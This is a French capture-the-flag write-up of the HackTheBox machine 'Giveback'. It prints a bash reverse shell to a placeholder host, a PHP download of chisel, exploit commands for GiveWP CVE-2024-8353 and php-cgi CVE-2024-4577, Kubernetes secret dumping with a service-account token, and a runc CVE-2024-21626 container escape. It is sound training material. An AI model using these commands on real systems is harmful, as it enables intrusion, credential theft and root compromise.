• Platforme: HackTheBox
  • Lien: Giveback
  • Niveau: Moyen
  • OS: Linux

Giveback commence par l’identification d’un plugin WordPress vulnérable affecté par CVE-2024-5932 et CVE-2024-8353. L’exploitation de ce dernier permet d’obtenir un accès initial au système cible.

L’énumération post-exploitation révèle que l’hôte compromis s’exécute au sein d’un pod Kubernetes disposant de privilèges limités. L’analyse du système permet de découvrir un service interne accessible uniquement au sein du cluster, auquel on accède par le tunneling.

L’application interne utilise sur php-cgi, vulnérable au CVE-2024-4577, permettant l’exécution de commandes à distance ainsi qu’un mouvement latéral vers un autre pod. Dans cet environnement, un jeton de compte de service Kubernetes est découvert puis utilisé pour s’authentifier directement auprès de l’API Kubernetes. Cet accès permet d’extraire les secrets du cluster, notamment les identifiants d’un utilisateur privilégié.

Après l’obtention d’un accès SSH, l’élévation de privilèges est réalisée en abusant d’un utilitaire de débogage exécutable en tant que root, menant finalement à la compromission complète du système.

Balayage

nmap -p- --min-rate 1000 -T4 --open -n -Pn -sC -sV -oA nmap/Giveback {IP}

Résultats

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-17 12:21 CST
Nmap scan report for 10.129.12.207 (10.129.12.207)
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)

80/tcp open  http    nginx 1.28.0
|_http-server-header: nginx/1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-generator: WordPress 6.8.1
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.16 seconds

Nmap détecte deux ports ouverts:

  • 22 (SSH) OpenSSH 8.9p1
  • 80 (http) Nginx 1.28.0, on observe également que le site web hébergé est basé sur WordPress 6.8.1. Un fichier robots.txt est présent avec l’entrée interdite /wp-admin/.

Afin de faciliter l’énumération, j’ajoute une entrée au fichier /etc/hosts.

sudo echo "{IP} giveback.htb" | sudo tee -a /etc/hosts

Enumération

En visitant http://giveback.htb/, nous trouvons un site web dédié aux dons.

Giveback website

Passons à l’énumération des répertoires.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://giveback.htb

Giveback gobuster

À l’aide de gobuster, nous trouvons une page de connexion WordPress à l’adresse http://giveback.htb/wp-login.php. Nous ne disposons actuellement d’aucune information d’identification à tester, nous passons donc à l’étape suivante.

Giveback WordPress admin page

En exécutant whatweb http://giveback.htb, nous trouvons un plugin et sa version: Give v3.14.0.

Giveback whatweb

Nous pouvons interroger l’API REST WordPress pour énumérer les utilisateurs enregistrés:

curl -q http://giveback.htb/wp-json/wp/v2/users | jq

Ce point de terminaison est accessible au public par défaut dans WordPress et peut divulguer des noms d’utilisateur valides.

Giveback WordPress user enumeration

Nous en trouvons un appelé babywyrm.

Sur http://giveback.htb/donations/the-things-we-need/, nous pouvons voir que le plugin s’appelle GiveWP, un plugin de don pour WordPress.

Giveback donation page

Accès Initial (shell en tant que root sur le WordPress pod)

Cette version est vulnérable à la fois aux CVE-2024-5932 et CVE-2024-8353. Nous utiliserons la seconde, dont le PoC est disponible ici.

Configurer un environnement virtuel:

python3 -m venv myvenv
source myvenv/bin/activate
pip install -r requirements.txt

Exécutez ensuite le script d’exploitation:

python CVE-2024-8353.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT_NUMBER 0>&1'"

Giveback CVE-2024-8523

Sur notre listener, nous obtenons un shell.

Giveback foothold

Puisque nous traitons avec WordPress, nous pouvons consulter le fichier wp-config.php. À l’aide de la commande find, nous trouvons son emplacement : /opt/bitnami/wordpress/wp-config.php.

cat /opt/bitnami/wordpress/wp-config.php

WordPress config

Il contient les informations de la base de données.

Giveback database data

DB_NAME = bitnami_wordpress
DB_USER = bn_wordpress
DB_PASSWORD = sW5sp4spa3u7RLyetrekE4oS
DB_HOST = beta-vino-wp-mariadb:3306

Pour une raison qui m’échappe, je n’ai pas pu accéder à la base de données après avoir exécuté mysql -h beta-vino-wp-mariadb -u bn_wordpress -p et saisi le mot de passe. Le shell restait figé indéfiniment.

La chaîne ressemblant à un nom d’hôte 84f9998c69-mbb95 correspond à une convention classique de nommage des pods/conteneurs Kubernetes.

En consultant le fichier /etc/hosts, nous pouvons confirmer que nous nous trouvons à l’intérieur d’un pod Kubernetes (K8s). Celui-ci contient l’entrée suivante: beta-vino-wp-wordpress-84f9998c69-mbb95, qui correspond au schéma de nommage typique des pods (nom de l’application + suffixe aléatoire).

L’adresse IP du pod WordPress est 10.42.1.249.

Giveback hosts

En jetant un œil au fichier /etc/resolv.conf, nous observons des zones DNS internes à Kubernetes.

  • Le système utilise le DNS interne de Kubernetes.
  • cluster.local correspond au domaine par défaut du cluster Kubernetes.
  • svc.cluster.local constitue la zone DNS dédiée aux services Kubernetes.

Cela signifie que cela peut être résolu comme suit: <service>.<namespace>.svc.cluster.local. Un exemple serait beta-vino-wp-mariadb.default.svc.cluster.local.

Giveback conf

Nous vérifions les variables d’environnement avec printenv et trouvons des éléments intéressants:

L’exécution de printenv produit un résultat volumineux, que j’ai réduit à l’aide de la commande grep.

LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_PORT= tcp://10.43.2.241:5000

Giveback env

Shell en tant que root sur legacy-intranet-cms pod

Il existe un service Kubernetes interne appelé legacy-intranet-service qui s’exécute à l’adresse http://10.43.2.241:5000.

Nous utilisons chisel pour inspecter le service sur le port 5000.

Nous disposons ni de cURL ni de wget sur la cible, nous utilisons donc php pour télécharger le binaire Chisel.

Nous lançons un serveur web sur notre machine d’attaque avec python3 -m http.server.

Sur la cible, nous exécutons :

php -r "file_put_contents('chisel', file_get_contents('http://KALI_IP:8000/chisel'));"

chmod +x chisel

Giveback file transfer

Sur la machine d’attaque:

chisel server -p <CHISEL_SERVER_PORT_NUMBER> --reverse

Giveback chisel server

Sur la cible, nous exécutons:

./chisel client KALI_IP:<CHISEL_SERVER_PORT_NUMBER> R:<PORT_NUMBER>:10.43.2.241:5000

Giveback chisel target

Nous allons à l’adresse http://127.0.0.1:<PORT_NUMBER>/, où nous trouvons un site web.

Giveback internal website

L’avertissement indique la présence d’un mode legacy. Parmi les points d’accès exposés, l’endpoint /cgi-bin/php-cgi attire particulièrement l’attention. Sa présence suggère fortement que l’application exécute l’interpréteur PHP en mode CGI, dans lequel le serveur web invoque le binaire php-cgi (Common Gateway Interface) comme un processus autonome pour chaque requête. Contrairement à PHP-FPM ou mod_php, le mode CGI repose largement sur les variables d’environnement et l’analyse des paramètres de requête afin de transmettre les entrées utilisateur à l’interpréteur.

Cette configuration est dangereuse, car des entrées utilisateur non filtrées peuvent être interprétées comme des arguments en ligne de commande par le binaire PHP, pouvant conduire à des vulnérabilités d’injection d’arguments.

Nous découvrons également une note destinée aux développeurs indiquant comment accéder à phpinfo.php, page qui n’est pas accessible via les liens présents sur le site web.

Giveback phpinfo no access

Giveback phpinfo source code

À l’adresse http://127.0.0.1:<PORT_NUMBER>/phpinfo.php?debug, nous constatons que PHP fonctionne sous la version 8.3.3.

Giveback phpinfo

En recherchant les vulnérabilités de php-cgi nous trouvons le CVE-2024-4577 avec un PoC disponible ici.

En utilisant le poc, nous obtenons un shell sur le pod legacy-intranet-cms.

python3 CVE-2024-4577.py --target http://IP:PORT/cgi-bin/php-cgi

Giveback foothold intranet

Dans les environnements Kubernetes, /var/run/secrets/kubernetes.io/serviceaccount/ est l’emplacement où les informations d’identification sont stockées par défaut, alors consultons-le.

Dans var/run/secrets/kubernetes.io/serviceaccount/, nous trouvons un fichier nommé token.

Giveback k8s token

L’exécution de cat /var/run/secrets/kubernetes.io/serviceaccount/token affiche la valeur dudit jeton. Dans Kubernetes, un pod utilise le jeton pour s’authentifier auprès du serveur API Kubernetes. Il est utilisé comme suit:

Authorization: Bearer <token>

Selon la configuration des contrôles d’accès, le jeton peut permettre :

  • de répertorier les pods
  • de lire les secrets
  • de créer des pods
  • d’exécuter des commandes dans d’autres pods, etc.

Le namespace est default.

Un namespace Kubernetes est une frontière d’isolation logique permettant de regrouper et de délimiter les ressources au sein d’un cluster, et notre pod appartient au namespace default.

Giveback namespace

We query all the secrets in the default namespace.

curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets

Le résultat est volumineux, mais l’information la plus importante se trouve à la fin.

Nous trouvons le mot de passe encodé en base64 de l’utilisateur babywyrm.

Giveback secrets dump

Après l’avoir décodé, nous nous connectons via SSH.

echo "base64_value" | base64 -d

ssh babywyrm@giveback.htb

Elévation de Privilèges

Giveback user flag

En exécutant sudo -l, nous constatons que babywyrm peut exécuter /opt/debug en tant que N’IMPORTE QUEL utilisateur (y compris root). Nous essayons et sommes invités à saisir un mot de passe.

Giveback sudo privileges

Le mot de passe demandé est le même que celui que nous utilisons pour nous connecter via SSH.

Ensuite, on nous demande un mot de passe administratif, qui est le mot de passe de la base de données que nous avons trouvé précédemment lors de notre énumération.

sW5sp4spa3u7RLyetrekE4oS

En utilisant l’option help, nous obtenons plus d’informations sur le script. /opt/debug est un wrapper autour de runc, et runc est le runtime de conteneur de bas niveau utilisé par Docker et Kubernetes.

Giveback debug script

Ensuite, nous exécutons sudo /opt/debug version et découvrons que runc utilise la version 1.1.11. Une recherche Google avec runc version 1.1.11 vulnerability mène au CVE-2024-21626 et sur this page nous obtenons une explication détaillée de l’exploitation.

MODIFICATION 23/02/2026: Je n’ai pas réussi à résoudre la partie root de cette machine par moi-même, j’ai donc attendu les walkthroughs de ippsec and 0xdf. Un grand merci à eux pour tout le travail qu’ils fournissent pour la communauté.

  1. Création d’un système de fichiers root minimal.

runc ne crée pas de systèmes de fichiers à partir de rien; il a besoin d’un répertoire rootfs contenant:

  • /bin/sh
  • les bibliothèques partagées nécessaires
  • le chargeur dynamique ld-linux

En pratique, nous avons recréé ce qu’une image Docker fournit normalement.

mkdir -p kscorpio/rootfs
cd kscorpio/
cp -aL /bin rootfs/bin
mkdir rootfs/lib64
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
mkdir rootfs/lib
cp -a /lib/x86_64-linux-gnu rootfs/lib

Giveback privesc

  1. Déclenchement du CVE-2024-21626

La commande run spec génère un fichier config.json valide. L’étape cruciale consiste à ajouter "cwd": "/proc/self/fd/7" au fichier. CVE-2024-21626 est une vulnérabilité d’évasion de conteneur dans runc qui se produit lorsque runc ne parvient pas à valider correctement les répertoires de travail qui font référence aux descripteurs de fichiers /proc/self/fd/*.

runc spec
ls

Giveback privesc 2

vim config.json
cat config.json | grep cwd

/proc/self/fd/7 n’est pas un répertoire normal, c’est une référence à un descripteur de fichier ouvert hérité du processus runc. En modifiant le paramètre cwd en /proc/self/fd/7, nous avons exploité la gestion incorrecte par runc des descripteurs de fichiers hérités lors de l’initialisation du conteneur.

Essentiellement, le processus du conteneur démarre dans un répertoire situé en dehors du système de fichiers root du conteneur (rootfs).

Giveback config modification

Giveback privesc 3

  1. Accès au système de fichiers hôte

runc démarre en tant que root, utilise la configuration malveillante, lance le conteneur avec cwd=/proc/self/fd/7, ce qui rompt l’isolation du montage.

Par conséquent, nous ne sommes plus confinés au rootfs du conteneur, nous exécutons dans un contexte de répertoire hôte. C’est pourquoi ls ../../../root nous montre root.txt, nous accédons au répertoire root de l’hôte depuis l’intérieur du conteneur.

sudo /opt/debug --log /tmp/log.json run root
ls ../../../root
cat ../../../root/root.txt

Giveback root flag